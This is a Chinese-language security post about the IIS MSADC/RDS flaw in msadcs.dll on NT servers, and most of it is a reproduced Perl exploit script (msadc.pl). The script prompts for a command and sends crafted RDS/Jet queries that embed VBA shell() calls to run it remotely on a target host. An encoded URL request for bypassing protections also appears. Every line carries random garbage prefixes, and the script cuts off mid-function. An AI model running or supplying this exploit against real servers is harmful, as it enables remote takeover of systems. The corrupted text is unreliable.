IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ul~}@^m]4} m#}{"d&J 涉及程序:
M6 >\R$ Microsoft NT server
0T{Y_IG 9[]"%6 描述:
pa> 2JF* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1_E3DXe ^{]sD}Q" 详细:
HuLm!tCu 如果你没有时间读详细内容的话,就删除:
fB ,!|u c:\Program Files\Common Files\System\Msadc\msadcs.dll
Tk@g9\6O9 有关的安全问题就没有了。
{CyPcD'$s -r2qIt 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
BKlc{= . L6@Rs 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
f`";Q/rG 关于利用ODBC远程漏洞的描述,请参看:
moM&2rgdrQ _/w-gL{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b+#~N>| qFsg&< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7J_f/st http://www.microsoft.com/security/bulletins/MS99-025faq.asp DDCQ Af vYm&AD 这里不再论述。
LkbvA ^DCv-R+p 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Oj|p`Dzh lL+^n~g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>yHnz?bf@ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
7|eSvC +Q#Qu0_
{zN_l! #将下面这段保存为txt文件,然后: "perl -x 文件名"
5$G??="K Xq)%w#l5? #!perl
q>oH(A #
/>I8nS}T # MSADC/RDS 'usage' (aka exploit) script
tS\NO@E_Jh #
Y,Zv0-" # by rain.forest.puppy
%_=R&m'n` #
U=#ylQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Z1lF[d,f; # beta test and find errors!
U$JIF/MO_ WsDe0F use Socket; use Getopt::Std;
R3!vS+5rR getopts("e:vd:h:XR", \%args);
X|B;>q Y/I6.K3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
aZCT|M1 pC.T)k if (!defined $args{h} && !defined $args{R}) {
KIl.?_61O print qq~
m-FDCiN> Usage: msadc.pl -h <host> { -d <delay> -X -v }
iBW6<2@oZF -h <host> = host you want to scan (ip or domain)
RvZ-w$E&? -d <seconds> = delay between calls, default 1 second
T[=cKYp8\ -X = dump Index Server path table, if available
1Moh` -v = verbose
,%G2>PBt -e = external dictionary file for step 5
xi^e =:;` /+U)!$zm* Or a -R will resume a command session
SpiC0 '
1]bjW*! ~; exit;}
l%5%oN`4 [MP:Eeg $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U jzz`!mz if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]BBgU[O)
! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q;~>h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+((31l $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Yf`.Cq_: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s3!LR2qiF ;<R_j%* if (!defined $args{R}){ $ret = &has_msadc;
~"0X,APR5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
R*fR? myX0<j3G5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>^HTghgRD . "cmd /c ";
I_s(yO4pw $in=<STDIN>; chomp $in;
X[Gk!dr# $command="cmd /c " . $in ;
!#s7 F [t)i\ }V if (defined $args{R}) {&load; exit;}
Rw8m5U Q31c@t print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oT{yttSNo &try_btcustmr;
ZTC1t_ z6r/
w print "\nStep 2: Trying to make our own DSN...";
2,nCGSfc &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
d+ko"F| jc`',o'[+ print "\nStep 3: Trying known DSNs...";
Hxi=\2- &known_dsn;
Y.
tFqzo3 ~o5iCt;w print "\nStep 4: Trying known .mdbs...";
Dx)XC?'xO &known_mdb;
'Rw]
C[ lc#zS_ if (defined $args{e}){
P;/wb/ print "\nStep 5: Trying dictionary of DSN names...";
*uM*)6O 3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bu9&sQ; s4k%ty} print "Sorry Charley...maybe next time?\n";
fG5} '8 exit;
ebK
wCZwK* agD.J)v\ ##############################################################################
?tQv|x QLg9aG| sub sendraw { # ripped and modded from whisker
Xe+FMbBco sleep($delay); # it's a DoS on the server! At least on mine...
;>Qd )' my ($pstr)=@_;
ha~s<
I socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Wy )g449 die("Socket problems\n");
?M(Wx if(connect(S,pack "SnA4x8",2,80,$target)){
'PbA/MN select(S); $|=1;
S6X<3L`FfH print $pstr; my @in=<S>;
H2cc).8" select(STDOUT); close(S);
EIm\!'R] return @in;
R?SHXJ%' } else { die("Can't connect...\n"); }}
M3`A&*\; kn|l 3+ ##############################################################################
U8z"{ dig76D_[e sub make_header { # make the HTTP request
p ivS8C my $msadc=<<EOT
XjU; oh4:. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1]`HX=cl User-Agent: ACTIVEDATA
~-i?= Host: $ip
VNXVuM )c Content-Length: $clen
Xy}S}9 Connection: Keep-Alive
$c47cJO)W Or>[_3 ADCClientVersion:01.06
-y<uAI g Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4gENV{L KL`>mJo$ --!ADM!ROX!YOUR!WORLD!
J)NpG9iN Content-Type: application/x-varg
HArYL}l Content-Length: $reqlen
o-=lH tR )>p6h]]a EOT
>FNt*tX<0 ; $msadc=~s/\n/\r\n/g;
}iAi`_\0; return $msadc;}
]Jqe)o #9Z-Hd< ##############################################################################
ztpb/9J9 k]g\`
gc sub make_req { # make the RDS request
k({8C`&tK/ my ($switch, $p1, $p2)=@_;
,cEcMaJ my $req=""; my $t1, $t2, $query, $dsn;
UC@ "<$'C pC8i&_A if ($switch==1){ # this is the btcustmr.mdb query
[NcOk, $query="Select * from Customers where City=" . make_shell();
ic#drpl, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@eWx4bl $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_R6> Ayw* 1[]cMyV elsif ($switch==2){ # this is general make table query
N\$wpDI~ $query="create table AZZ (B int, C varchar(10))";
~]W8NaQB( $dsn="$p1";}
_jz=BRO$ M czWg elsif ($switch==3){ # this is general exploit table query
k#n=mm'N9 $query="select * from AZZ where C=" . make_shell();
?|dz"=y $dsn="$p1";}
h6t>yC\ }Jfo(j elsif ($switch==4){ # attempt to hork file info from index server
?#m5$CFp $query="select path from scope()";
l!,{bOZ $dsn="Provider=MSIDXS;";}
Ls{fCi/2F jFfki.H elsif ($switch==5){ # bad query
swrd $query="select";
M-gjS6c\3 $dsn="$p1";}
OxD\e5r H&GMq5)B $t1= make_unicode($query);
tuv4~i< $t2= make_unicode($dsn);
A.y$.( $req = "\x02\x00\x03\x00";
_|*j8v3 $req.= "\x08\x00" . pack ("S1", length($t1));
Y)uNzb6R $req.= "\x00\x00" . $t1 ;
#>233< $req.= "\x08\x00" . pack ("S1", length($t2));
9`b*Y*d $req.= "\x00\x00" . $t2 ;
tp1{)|pwY6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P$!Ht return $req;}
Tv(s?T6f
W6a2I ##############################################################################
>Mn"k\j4 5[GX sub make_shell { # this makes the shell() statement
^wX_@?aKtt return "'|shell(\"$command\")|'";}
r}vrE
^Q Pd3t~1TaW ##############################################################################
N8KHNTb-M wo*/{KFvh sub make_unicode { # quick little function to convert to unicode
@50Js3R1q my ($in)=@_; my $out;
v.\&gn